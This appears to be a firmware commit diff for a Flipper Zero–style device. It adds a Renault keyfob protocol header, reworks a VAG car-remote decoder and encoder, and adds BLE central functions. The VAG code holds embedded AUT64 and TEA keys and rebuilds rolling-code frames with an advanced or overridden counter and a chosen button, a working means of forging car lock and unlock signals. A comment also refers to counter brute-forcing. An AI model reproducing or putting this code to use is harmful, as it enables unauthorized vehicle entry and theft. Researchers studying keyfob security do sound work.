#include <lib/toolbox/manchester_decoder.h>
#include <lib/subghz/blocks/encoder.h>
extern const char SUBGHZ_PROTOCOL_COMMON_KEY[];
extern const char SUBGHZ_PROTOCOL_COMMON_SERIAL[];
extern const char SUBGHZ_PROTOCOL_COMMON_BTN[];
extern const char SUBGHZ_PROTOCOL_COMMON_CNT[];
extern const char SUBGHZ_PROTOCOL_COMMON_REPEAT[];
extern const char SUBGHZ_PROTOCOL_COMMON_PROTOCOL[];
extern const char SUBGHZ_PROTOCOL_COMMON_PRESET[];
extern const char SUBGHZ_PROTOCOL_COMMON_FREQUENCY[];
extern const char SUBGHZ_PROTOCOL_COMMON_TYPE[];
bool subghz_protocol_common_preset_name_is_custom_marker(const char* preset_name);
const char* subghz_protocol_common_get_short_preset_name(const char* preset_name);
bool subghz_protocol_common_parse_hex_u64_strict(const char* str, uint64_t* out_key);
bool subghz_protocol_common_flipper_read_hex_u64(
FlipperFormat* flipper_format,
const char* key,
uint64_t* out_key);
void subghz_protocol_common_flipper_update_or_insert_u32(
FlipperFormat* flipper_format,
const char* key,
uint32_t value);
SubGhzProtocolStatus
subghz_protocol_common_verify_protocol_name(FlipperFormat* ff, const char* expected_name);
#define SUBGHZ_PROTOCOL_COMMON_FIELD_SERIAL 0x01U
#define SUBGHZ_PROTOCOL_COMMON_FIELD_BTN 0x02U
#define SUBGHZ_PROTOCOL_COMMON_FIELD_CNT 0x04U
#define SUBGHZ_PROTOCOL_COMMON_FIELD_TYPE 0x08U
SubGhzProtocolStatus subghz_protocol_common_encoder_read_bit(
FlipperFormat* ff,
const uint16_t* allowed_bits,
size_t allowed_bits_count,
uint32_t* out_bit);
void subghz_protocol_common_encoder_read_fields(
FlipperFormat* ff,
uint32_t* serial_out,
uint32_t* btn_out,
uint32_t* cnt_out,
uint32_t* type_out);
#define SUBGHZ_PROTOCOL_COMMON_ENCODER_REPEAT_MAX 50U
uint32_t subghz_protocol_common_encoder_read_repeat(FlipperFormat* ff, uint32_t default_repeat);
SubGhzProtocolStatus subghz_protocol_common_serialize_fields(
FlipperFormat* ff,
uint32_t field_mask,
uint32_t serial,
uint32_t btn,
uint32_t cnt,
uint32_t type);
SubGhzProtocolStatus
subghz_protocol_common_write_display(FlipperFormat* ff, const char* protocol_name, const char* suffix);
static inline size_t subghz_protocol_common_emit(
LevelDuration* up,
size_t i,
size_t cap,
bool level,
uint32_t us) {
if(i < cap) up[i++] = level_duration_make(level, us);
return i;
}
size_t subghz_protocol_common_emit_merge(
LevelDuration* up,
size_t i,
size_t cap,
bool level,
uint32_t us);
static inline size_t subghz_protocol_common_emit_manchester_bit(
LevelDuration* up,
size_t i,
size_t cap,
bool bit_value,
uint32_t te) {
i = subghz_protocol_common_emit(up, i, cap, bit_value, te);
i = subghz_protocol_common_emit(up, i, cap, !bit_value, te);
return i;
}
size_t subghz_protocol_common_emit_byte_manchester(
LevelDuration* up,
size_t i,
size_t cap,
uint8_t value,
uint32_t te);
size_t subghz_protocol_common_emit_short_pairs(
LevelDuration* up,
size_t i,
size_t cap,
uint32_t te,
size_t pair_count);
uint8_t subghz_protocol_common_reverse_bits8(uint8_t value);
void subghz_protocol_common_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]);
uint64_t subghz_protocol_common_bytes_to_u64_be(const uint8_t bytes[8]);
static inline bool
subghz_protocol_common_is_short(uint32_t duration, const SubGhzBlockConst* t) {
return DURATION_DIFF(duration, t->te_short) < t->te_delta;
}
static inline bool
subghz_protocol_common_is_long(uint32_t duration, const SubGhzBlockConst* t) {
return DURATION_DIFF(duration, t->te_long) < t->te_delta;
}
static inline ManchesterEvent
subghz_protocol_common_manchester_event(uint32_t duration, bool level, const SubGhzBlockConst* t) {
if(DURATION_DIFF(duration, t->te_short) < t->te_delta) {
return level ? ManchesterEventShortLow : ManchesterEventShortHigh;
}
if(DURATION_DIFF(duration, t->te_long) < t->te_delta) {
return level ? ManchesterEventLongLow : ManchesterEventLongHigh;
}
return ManchesterEventReset;
}
typedef struct {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
} SubGhzProtocolCommonDecoder;
typedef struct {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
} SubGhzProtocolCommonEncoder;
uint8_t subghz_protocol_common_decoder_hash_blocks(void* context);
void subghz_protocol_common_decoder_free_default(void* context);
#define SUBGHZ_PROTOCOL_COMMON_SHARED_UPLOAD_CAPACITY 2048U
void subghz_protocol_common_encoder_free(void* context);
void subghz_protocol_common_encoder_stop(void* context);
LevelDuration subghz_protocol_common_encoder_yield(void* context);
void subghz_protocol_common_encoder_buffer_ensure(void* context, size_t capacity);
LevelDuration* subghz_protocol_common_shared_upload_buffer(void);
size_t subghz_protocol_common_shared_upload_capacity(void);
void subghz_protocol_common_shared_upload_release(void);
File diff suppressed because it is too large Load Diff
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include <furi.h>
#include <lib/subghz/protocols/base.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <flipper_format/flipper_format.h>
#define RENAULT_PROTOCOL_V0_NAME "Renault V0"
extern const SubGhzProtocol renault_v0_protocol;
bool renault_v0_flipper_is_rolling(FlipperFormat* flipper_format);
void* subghz_protocol_decoder_renault_v0_alloc(SubGhzEnvironment* environment);
void subghz_protocol_decoder_renault_v0_reset(void* context);
void subghz_protocol_decoder_renault_v0_feed(void* context, bool level, uint32_t duration);
uint8_t subghz_protocol_decoder_renault_v0_get_hash_data(void* context);
SubGhzProtocolStatus subghz_protocol_decoder_renault_v0_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
SubGhzProtocolStatus
subghz_protocol_decoder_renault_v0_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_decoder_renault_v0_get_string(void* context, FuriString* output);
void* subghz_protocol_encoder_renault_v0_alloc(SubGhzEnvironment* environment);
void subghz_protocol_encoder_renault_v0_free(void* context);
SubGhzProtocolStatus
subghz_protocol_encoder_renault_v0_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_encoder_renault_v0_stop(void* context);
LevelDuration subghz_protocol_encoder_renault_v0_yield(void* context);
+57 -142
View File
@@ -1,6 +1,5 @@
#include "vag.h"
#include "aut64.h"
#include "../blocks/const.h"
#include "../blocks/decoder.h"
#include "../blocks/encoder.h"
@@ -34,15 +33,16 @@ static const SubGhzBlockConst subghz_protocol_vag_const = {
#define VAG_T34_PREAMBLE_MIN 31u
#define VAG_T34_SYNC_PAIRS 3u
#define VAG_DATA_GAP_MIN 4001u
#define VAG_TOTAL_BITS 80u
#define VAG_KEY1_BITS 64u
#define VAG_PREFIX_BITS 15u
#define VAG_BIT_LIMIT 96u
#define VAG_FRAME_PREFIX_T1 0x2F3Fu
#define VAG_FRAME_PREFIX_T2 0x2F1Cu
#define VAG_DATA_GAP_MIN 4001u
#define VAG_TOTAL_BITS 80u
#define VAG_KEY1_BITS 64u
#define VAG_PREFIX_BITS 15u
#define VAG_BIT_LIMIT 96u
#define VAG_FRAME_PREFIX_T1 0x2F3Fu
#define VAG_FRAME_PREFIX_T2 0x2F1Cu
#define VAG_KEYS_COUNT 3
#define VAG_ENCODER_UPLOAD_MAX_SIZE 2560
static const uint8_t vag_keys_packed[VAG_KEYS_COUNT][AUT64_KEY_STRUCT_PACKED_SIZE] = {
{0x01, 0x37, 0x6C, 0x86, 0xAD, 0xAB, 0xCC, 0x43, 0x07, 0x4D, 0xE8, 0x59, 0xC1, 0x2F, 0x36, 0xAB},
@@ -82,35 +82,39 @@ static const uint32_t vag_tea_key_schedule[] = {0x0B46502D, 0x5E253718, 0x2BF93A
static const char* vag_button_name(uint8_t btn) {
switch(btn) {
case 0x1:
return "Unlock";
case 0x2:
return "Lock";
case 0x4:
return "Boot";
case 0x10:
return "Unlock";
case 0x20:
return "Lock";
case 0x40:
return "Trunk";
case 0x80:
return "Panic";
return "Boot";
default:
return "??";
return "Unkn";
}
}
static uint8_t vag_custom_to_btn(uint8_t custom, uint8_t original_btn) {
switch(custom) {
case 1: return 0x20;
case 2: return 0x10;
case 3: return 0x40;
case 4: return 0x80;
default: return original_btn;
case 1: return 0x20;
case 2: return 0x10;
case 3:
case 4: return 0x40;
default: return original_btn;
}
}
static uint8_t vag_btn_to_custom(uint8_t btn) {
switch(btn) {
case 0x10: return 2;
case 0x20: return 1;
case 0x40: return 3;
case 0x80: return 4;
case 0x10: return 2;
case 0x20: return 1;
case 0x40:
case 0x80: return 3;
default: return 1;
}
}
@@ -139,8 +143,7 @@ typedef struct SubGhzProtocolDecoderVAG {
uint8_t check_byte;
uint8_t key_idx;
bool decrypted;
uint32_t last_valid_serial;
uint32_t last_valid_cnt;
} SubGhzProtocolDecoderVAG;
@@ -175,18 +178,18 @@ static void vag_tea_encrypt(uint32_t* v0, uint32_t* v1, const uint32_t* key_sche
}
static bool vag_dispatch_type_1_2(uint8_t dispatch) {
return (dispatch == 0x2A || dispatch == 0x1C || dispatch == 0x46 || dispatch == 0x88);
return (dispatch == 0x2A || dispatch == 0x1C || dispatch == 0x46);
}
static bool vag_dispatch_type_3_4(uint8_t dispatch) {
return (dispatch == 0x2B || dispatch == 0x1D || dispatch == 0x47 || dispatch == 0x89);
return (dispatch == 0x2B || dispatch == 0x1D || dispatch == 0x47);
}
static bool vag_button_valid(const uint8_t* dec) {
uint8_t dec_byte = dec[7];
uint8_t dec_btn = (dec_byte >> 4) & 0xF;
if(dec_btn == 1 || dec_btn == 2 || dec_btn == 4 || dec_btn == 8) {
if(dec_btn == 1 || dec_btn == 2 || dec_btn == 4) {
return true;
}
if(dec_byte == 0) {
@@ -219,14 +222,7 @@ static void vag_fill_from_decrypted(
instance->cnt = (uint32_t)dec[4] | ((uint32_t)dec[5] << 8) | ((uint32_t)dec[6] << 16);
uint8_t btn_nibble = (dec[7] >> 4) & 0xF;
if(btn_nibble == 1) instance->btn = 0x10;
else if(btn_nibble == 2) instance->btn = 0x20;
else if(btn_nibble == 4) instance->btn = 0x40;
else if(btn_nibble == 8) instance->btn = 0x80;
else instance->btn = dec[7];
instance->btn = (dec[7] >> 4) & 0xF;
instance->check_byte = dispatch_byte;
instance->decrypted = true;
}
@@ -294,15 +290,8 @@ static void vag_parse_data(SubGhzProtocolDecoderVAG* instance) {
((uint32_t)block_copy[2] << 8) | (uint32_t)block_copy[3];
instance->cnt = (uint32_t)block_copy[4] | ((uint32_t)block_copy[5] << 8) |
((uint32_t)block_copy[6] << 16);
uint8_t btn_nibble = (block_copy[7] >> 4) & 0xF;
if(btn_nibble == 1) instance->btn = 0x10;
else if(btn_nibble == 2) instance->btn = 0x20;
else if(btn_nibble == 4) instance->btn = 0x40;
else if(btn_nibble == 8) instance->btn = 0x80;
else instance->btn = block_copy[7];
instance->btn = block_copy[7];
instance->check_byte = dispatch_byte;
instance->key_idx = key_idx;
instance->decrypted = true;
@@ -749,40 +738,33 @@ SubGhzProtocolStatus subghz_protocol_decoder_vag_serialize(
furi_assert(context);
SubGhzProtocolDecoderVAG* instance = context;
if(!instance->decrypted && instance->data_count_bit >= 80) {
vag_parse_data(instance);
}
uint64_t key1 = ((uint64_t)instance->key1_high << 32) | instance->key1_low;
uint16_t key2_16bit = (uint16_t)(instance->key2_low & 0xFFFF);
instance->generic.data = key1;
instance->generic.data_count_bit = instance->data_count_bit;
SubGhzProtocolStatus ret =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(ret == SubGhzProtocolStatusOk) {
uint8_t key2_bytes[8] = {0, 0, 0, 0, 0, 0, 0, 0};
key2_bytes[6] = (uint8_t)((key2_16bit >> 8) & 0xFF);
key2_bytes[7] = (uint8_t)(key2_16bit & 0xFF);
flipper_format_write_hex(flipper_format, "Key2", key2_bytes, 8);
uint32_t type = instance->vag_type;
flipper_format_write_uint32(flipper_format, "Type", &type, 1);
if(instance->decrypted && instance->key_idx != 0xFF) {
uint32_t key_idx_temp = instance->key_idx;
flipper_format_write_uint32(flipper_format, "KeyIdx", &key_idx_temp, 1);
}
if(instance->decrypted) {
// Write Cnt so Counter BruteForce option appears in saved menu
uint32_t cnt_tmp = instance->cnt;
flipper_format_write_uint32(flipper_format, "Cnt", &cnt_tmp, 1);
uint32_t serial_tmp = instance->serial;
@@ -824,7 +806,7 @@ SubGhzProtocolStatus
instance->decrypted = false;
vag_parse_data(instance);
if(subghz_custom_btn_get_original() == 0) {
subghz_custom_btn_set_original(vag_btn_to_custom(instance->btn));
}
@@ -877,9 +859,6 @@ static uint8_t vag_get_dispatch_byte(uint8_t btn, uint8_t vag_type) {
case 0x10:
case 1:
return 0x1C;
case 0x80:
case 8:
return 0x88;
default:
return 0x2A;
}
@@ -894,9 +873,6 @@ static uint8_t vag_get_dispatch_byte(uint8_t btn, uint8_t vag_type) {
case 0x10:
case 1:
return 0x1D;
case 0x80:
case 8:
return 0x89;
default:
return 0x2B;
}
@@ -904,27 +880,23 @@ static uint8_t vag_get_dispatch_byte(uint8_t btn, uint8_t vag_type) {
}
static uint8_t vag_btn_to_byte(uint8_t btn, uint8_t vag_type) {
uint8_t nibble;
if(btn == 0x10) nibble = 1;
else if(btn == 0x20) nibble = 2;
else if(btn == 0x40) nibble = 4;
else if(btn == 0x80) nibble = 8;
else nibble = 2;
if(vag_type == 1) {
return nibble;
return btn;
} else {
return btn;
switch(btn) {
case 0x1:
return 0x10;
case 0x2:
return 0x20;
case 0x4:
return 0x40;
default:
return btn;
}
}
}
static void vag_encoder_build_type1(SubGhzProtocolEncoderVAG* instance) {
size_t index = 0;
LevelDuration* upload = instance->upload;
@@ -1010,16 +982,12 @@ static void vag_encoder_build_type1(SubGhzProtocolEncoderVAG* instance) {
}
}
upload[index++] = level_duration_make(false, 15000);
upload[index++] = level_duration_make(false, 6000);
instance->size_upload = index;
if(index != 635) {
}
}
static void vag_encoder_build_type2(SubGhzProtocolEncoderVAG* instance) {
size_t index = 0;
LevelDuration* upload = instance->upload;
@@ -1114,13 +1082,12 @@ static void vag_encoder_build_type2(SubGhzProtocolEncoderVAG* instance) {
}
}
upload[index++] = level_duration_make(false, 15000);
upload[index++] = level_duration_make(false, 6000);
instance->size_upload = index;
}
static void vag_encoder_build_type3_4(SubGhzProtocolEncoderVAG* instance) {
size_t index = 0;
LevelDuration* upload = instance->upload;
@@ -1164,10 +1131,8 @@ static void vag_encoder_build_type3_4(SubGhzProtocolEncoderVAG* instance) {
uint64_t key1 = ((uint64_t)instance->key1_high << 32) | instance->key1_low;
uint16_t key2 = (uint16_t)(instance->key2_low & 0xFFFF);
for(int repeat = 0; repeat < 2; repeat++) {
for(int i = 0; i < 45; i++) {
upload[index++] = level_duration_make(true, 500);
upload[index++] = level_duration_make(false, 500);
@@ -1181,54 +1146,32 @@ static void vag_encoder_build_type3_4(SubGhzProtocolEncoderVAG* instance) {
upload[index++] = level_duration_make(false, 750);
}
uint8_t consecutive_same = 0;
bool prev_level = true;
for(int i = 63; i >= 0; i--) {
bool bit = (key1 >> i) & 1;
bool first_level = bit ? true : false;
if(first_level == prev_level) {
consecutive_same++;
}
if(bit) {
upload[index++] = level_duration_make(true, 500);
upload[index++] = level_duration_make(false, 500);
prev_level = false;
} else {
upload[index++] = level_duration_make(false, 500);
upload[index++] = level_duration_make(true, 500);
prev_level = true;
}
}
bool last_level = false;
for(int i = 15; i >= 0; i--) {
bool bit = (key2 >> i) & 1;
if(bit) {
upload[index++] = level_duration_make(true, 500);
upload[index++] = level_duration_make(false, 500);
last_level = false;
} else {
upload[index++] = level_duration_make(false, 500);
upload[index++] = level_duration_make(true, 500);
last_level = true;
}
}
if(!last_level) {
upload[index++] = level_duration_make(false, 10000);
} else {
upload[index++] = level_duration_make(false, 10000);
}
upload[index++] = level_duration_make(false, 10000);
}
instance->size_upload = index;
if(index != 518) {
}
}
void subghz_protocol_decoder_vag_get_string(void* context, FuriString* output) {
@@ -1268,7 +1211,7 @@ void subghz_protocol_decoder_vag_get_string(void* context, FuriString* output) {
if(instance->decrypted) {
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"%s %db\r\n"
"Key1:%08lX%08lX\r\n"
"Key2:%04X KeyIdx:%d\r\n"
"Ser:%08lX Cnt:%06lX\r\n"
@@ -1296,8 +1239,6 @@ void subghz_protocol_decoder_vag_get_string(void* context, FuriString* output) {
}
}
#define VAG_ENCODER_UPLOAD_MAX_SIZE 2560
void* subghz_protocol_encoder_vag_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
@@ -1307,7 +1248,7 @@ void* subghz_protocol_encoder_vag_alloc(SubGhzEnvironment* environment) {
instance->upload = malloc(VAG_ENCODER_UPLOAD_MAX_SIZE * sizeof(LevelDuration));
instance->size_upload = 0;
instance->repeat = 1;
instance->repeat = 1;
instance->front = 0;
instance->is_running = false;
@@ -1347,8 +1288,6 @@ LevelDuration subghz_protocol_encoder_vag_yield(void* context) {
SubGhzProtocolEncoderVAG* instance = context;
if(!instance->is_running || instance->repeat == 0) {
if(instance->is_running) {
}
instance->is_running = false;
return level_duration_reset();
}
@@ -1398,13 +1337,11 @@ SubGhzProtocolStatus
}
instance->vag_type = (uint8_t)type;
uint32_t file_key_idx = 0xFF;
flipper_format_rewind(flipper_format);
bool has_key_idx = flipper_format_read_uint32(flipper_format, "KeyIdx", &file_key_idx, 1);
instance->key_idx = has_key_idx ? (uint8_t)file_key_idx : 0xFF;
SubGhzProtocolDecoderVAG decoder;
memset(&decoder, 0, sizeof(decoder));
decoder.key1_low = instance->key1_low;
@@ -1424,37 +1361,28 @@ SubGhzProtocolStatus
instance->key_idx = decoder.key_idx;
}
} else {
instance->serial = 0;
instance->cnt = 0;
instance->btn = 0x20;
instance->btn = 0x20;
}
if(subghz_custom_btn_get_original() == 0) {
subghz_custom_btn_set_original(vag_btn_to_custom(instance->btn));
}
subghz_custom_btn_set_max(4);
uint8_t selected_custom;
if(subghz_custom_btn_get() == SUBGHZ_CUSTOM_BTN_OK) {
selected_custom = subghz_custom_btn_get_original();
} else {
selected_custom = subghz_custom_btn_get();
}
uint8_t new_btn = vag_custom_to_btn(selected_custom, instance->btn);
subghz_block_generic_global_button_override_get(&new_btn);
instance->btn = new_btn;
uint32_t override_cnt = 0;
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
instance->cnt = override_cnt & 0xFFFFFF;
} else {
uint32_t mult = furi_hal_subghz_get_rolling_counter_mult();
instance->cnt = (instance->cnt + mult) & 0xFFFFFF;
}
uint32_t mult = furi_hal_subghz_get_rolling_counter_mult();
instance->cnt = (instance->cnt + mult) & 0xFFFFFF;
uint8_t type_byte = (uint8_t)(instance->key1_high >> 24);
if(instance->vag_type == 1 && type_byte == 0x00) {
@@ -1506,7 +1434,6 @@ SubGhzProtocolStatus
if(!flipper_format_update_hex(flipper_format, "Key2", key2_write_bytes, 8)) {
}
if(instance->key_idx != 0xFF) {
flipper_format_rewind(flipper_format);
uint32_t key_idx32 = instance->key_idx;
@@ -1516,7 +1443,6 @@ SubGhzProtocolStatus
}
}
flipper_format_rewind(flipper_format);
uint32_t type32 = instance->vag_type;
if(!flipper_format_update_uint32(flipper_format, "Type", &type32, 1)) {
@@ -1524,23 +1450,12 @@ SubGhzProtocolStatus
flipper_format_insert_or_update_uint32(flipper_format, "Type", &type32, 1);
}
uint32_t btn32 = instance->btn;
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &btn32, 1);
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &instance->cnt, 1);
instance->repeat = 1;
instance->repeat = 1;
instance->front = 0;
instance->is_running = true;
ret = SubGhzProtocolStatusOk;
} while(false);
if(ret != SubGhzProtocolStatusOk) {
}
return ret;
}
+8 -7
View File
@@ -14,15 +14,16 @@ IWDGSTOP:0x1:rw
IWDGSW:0x1:rw
IPCCDBA:0x0:rw
ESE:0x1:r
SFSA:0xD7:r
SFSA:0xCE:rw
FSD:0x0:r
DDS:0x1:r
C2OPT:0x1:r
NBRSD:0x0:r
SNBRSA:0xB:r
BRSD:0x0:r
SBRSA:0x12:r
SBRV:0x35C00:r
# Word 15 (C2 Opts) - read-only in firmware (NULL register), keep device values
# C2OPT:0x1:r
# NBRSD:0x0:r
# SNBRSA:0xB:r
# BRSD:0x0:r
# SBRSA:0x12:r
# SBRV:0x35C00:r
PCROP1A_STRT:0x1FF:r
PCROP1A_END:0x0:r
PCROP_RDP:0x1:rw
+7
View File
@@ -37,6 +37,13 @@ ENV.AppendUnique(
"-specs=nano.specs",
"-Wl,--gc-sections",
"-Wl,--undefined=uxTopUsedPriority",
"-Wl,--undefined=aci_gap_start_general_discovery_proc",
"-Wl,--undefined=aci_gap_terminate_gap_proc",
"-Wl,--undefined=aci_gap_create_connection",
"-Wl,--undefined=hci_disconnect",
"-Wl,--undefined=aci_gatt_disc_all_primary_services",
"-Wl,--undefined=aci_gatt_write_char_value",
"-Wl,--undefined=aci_gatt_write_without_resp",
"-Wl,--wrap,_malloc_r",
"-Wl,--wrap,_free_r",
"-Wl,--wrap,_calloc_r",
+20 -2
View File
@@ -1,5 +1,5 @@
entry,status,name,type,params
Version,+,89.2,,
Version,+,89.3,,
Header,+,applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h,,
Header,+,applications/services/applications.h,,
Header,+,applications/services/bt/bt_service/bt.h,,
@@ -50,6 +50,8 @@ Header,+,applications/services/power/power_service/power.h,,
Header,+,applications/services/rpc/rpc_app.h,,
Header,+,applications/services/storage/storage.h,,
Header,+,lib/bit_lib/bit_lib.h,,
Header,+,lib/ble_central/aci_decls.h,,
Header,+,lib/ble_central/ble_central.h,,
Header,+,lib/ble_profile/extra_profiles/hid_profile.h,,
Header,+,lib/ble_profile/extra_services/hid_service.h,,
Header,+,lib/datetime/datetime.h,,
@@ -625,6 +627,12 @@ Function,-,_wctomb_r,int,"_reent*, char*, wchar_t, _mbstate_t*"
Function,-,a64l,long,const char*
Function,+,abort,void,
Function,-,abs,int,int
Function,+,aci_gap_create_connection,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*, uint8_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t"
Function,+,aci_gap_start_general_discovery_proc,uint8_t,"uint16_t, uint16_t, uint8_t, uint8_t"
Function,+,aci_gap_terminate_gap_proc,uint8_t,uint8_t
Function,+,aci_gatt_disc_all_primary_services,uint8_t,uint16_t
Function,+,aci_gatt_write_char_value,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*"
Function,+,aci_gatt_write_without_resp,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*"
Function,-,acos,double,double
Function,-,acosf,float,float
Function,-,acosh,double,double
@@ -734,6 +742,15 @@ Function,+,bit_lib_test_parity_32,_Bool,"uint32_t, BitLibParity"
Function,-,ble_app_deinit,void,
Function,-,ble_app_get_key_storage_buff,void,"uint8_t**, uint16_t*"
Function,-,ble_app_init,_Bool,
Function,-,ble_central_connect,_Bool,"const uint8_t*, uint8_t"
Function,-,ble_central_disconnect,_Bool,
Function,-,ble_central_discover_services,_Bool,
Function,-,ble_central_get_connection_handle,uint16_t,
Function,-,ble_central_is_connected,_Bool,
Function,-,ble_central_scan_start,_Bool,"BleCentralEventCallback, void*"
Function,-,ble_central_scan_stop,_Bool,
Function,-,ble_central_write_command,_Bool,"uint16_t, const uint8_t*, uint16_t"
Function,-,ble_central_write_request,_Bool,"uint16_t, const uint8_t*, uint16_t"
Function,-,ble_event_app_notification,BleEventFlowStatus,void*
Function,-,ble_event_dispatcher_init,void,
Function,-,ble_event_dispatcher_process_event,BleEventFlowStatus,void*
@@ -2088,7 +2105,8 @@ Function,+,gui_set_lockdown,void,"Gui*, _Bool"
Function,+,gui_set_lockdown_inhibit,void,"Gui*, _Bool"
Function,-,gui_view_port_send_to_back,void,"Gui*, ViewPort*"
Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*"
Function,-,hci_send_req,int,"hci_request*, uint8_t"
Function,+,hci_disconnect,uint8_t,"uint16_t, uint8_t"
Function,+,hci_send_req,int,"hci_request*, uint8_t"
Function,+,hex_char_to_hex_nibble,_Bool,"char, uint8_t*"
Function,+,hex_char_to_uint8,_Bool,"char, char, uint8_t*"
Function,+,hex_chars_to_uint64,_Bool,"const char*, uint64_t*"
1 entry status name type params
2 Version + 89.2 89.3
3 Header + applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h
4 Header + applications/services/applications.h
5 Header + applications/services/bt/bt_service/bt.h
50 Header + applications/services/rpc/rpc_app.h
51 Header + applications/services/storage/storage.h
52 Header + lib/bit_lib/bit_lib.h
53 Header + lib/ble_central/aci_decls.h
54 Header + lib/ble_central/ble_central.h
55 Header + lib/ble_profile/extra_profiles/hid_profile.h
56 Header + lib/ble_profile/extra_services/hid_service.h
57 Header + lib/datetime/datetime.h
627 Function - a64l long const char*
628 Function + abort void
629 Function - abs int int
630 Function + aci_gap_create_connection uint8_t uint16_t, uint16_t, uint8_t, const uint8_t*, uint8_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t
631 Function + aci_gap_start_general_discovery_proc uint8_t uint16_t, uint16_t, uint8_t, uint8_t
632 Function + aci_gap_terminate_gap_proc uint8_t uint8_t
633 Function + aci_gatt_disc_all_primary_services uint8_t uint16_t
634 Function + aci_gatt_write_char_value uint8_t uint16_t, uint16_t, uint8_t, const uint8_t*
635 Function + aci_gatt_write_without_resp uint8_t uint16_t, uint16_t, uint8_t, const uint8_t*
636 Function - acos double double
637 Function - acosf float float
638 Function - acosh double double
742 Function - ble_app_deinit void
743 Function - ble_app_get_key_storage_buff void uint8_t**, uint16_t*
744 Function - ble_app_init _Bool
745 Function - ble_central_connect _Bool const uint8_t*, uint8_t
746 Function - ble_central_disconnect _Bool
747 Function - ble_central_discover_services _Bool
748 Function - ble_central_get_connection_handle uint16_t
749 Function - ble_central_is_connected _Bool
750 Function - ble_central_scan_start _Bool BleCentralEventCallback, void*
751 Function - ble_central_scan_stop _Bool
752 Function - ble_central_write_command _Bool uint16_t, const uint8_t*, uint16_t
753 Function - ble_central_write_request _Bool uint16_t, const uint8_t*, uint16_t
754 Function - ble_event_app_notification BleEventFlowStatus void*
755 Function - ble_event_dispatcher_init void
756 Function - ble_event_dispatcher_process_event BleEventFlowStatus void*
2105 Function + gui_set_lockdown_inhibit void Gui*, _Bool
2106 Function - gui_view_port_send_to_back void Gui*, ViewPort*
2107 Function + gui_view_port_send_to_front void Gui*, ViewPort*
2108 Function - + hci_send_req hci_disconnect int uint8_t hci_request*, uint8_t uint16_t, uint8_t
2109 Function + hci_send_req int hci_request*, uint8_t
2110 Function + hex_char_to_hex_nibble _Bool char, uint8_t*
2111 Function + hex_char_to_uint8 _Bool char, char, uint8_t*
2112 Function + hex_chars_to_uint64 _Bool const char*, uint64_t*
+1 -1
View File
@@ -359,7 +359,7 @@ static void gap_init_svc(Gap* gap, const GapRootSecurityKeys* root_keys) {
// Skip first symbol AD_TYPE_COMPLETE_LOCAL_NAME
char* name = gap->service.adv_name + 1;
aci_gap_init(
GAP_PERIPHERAL_ROLE,
GAP_PERIPHERAL_ROLE | GAP_CENTRAL_ROLE | GAP_OBSERVER_ROLE,
0,
strlen(name),
&gap->service.gap_svc_handle,
+2 -1
View File
@@ -11,7 +11,8 @@
"platform_specific",
"ble_glue/furi_ble",
"ble_glue/services",
"ble_glue/profiles"
"ble_glue/profiles",
"../../lib/ble_central"
],
"linker_script_flash": "stm32wb55xx_flash.ld",
"linker_script_ram": "stm32wb55xx_ram_fw.ld",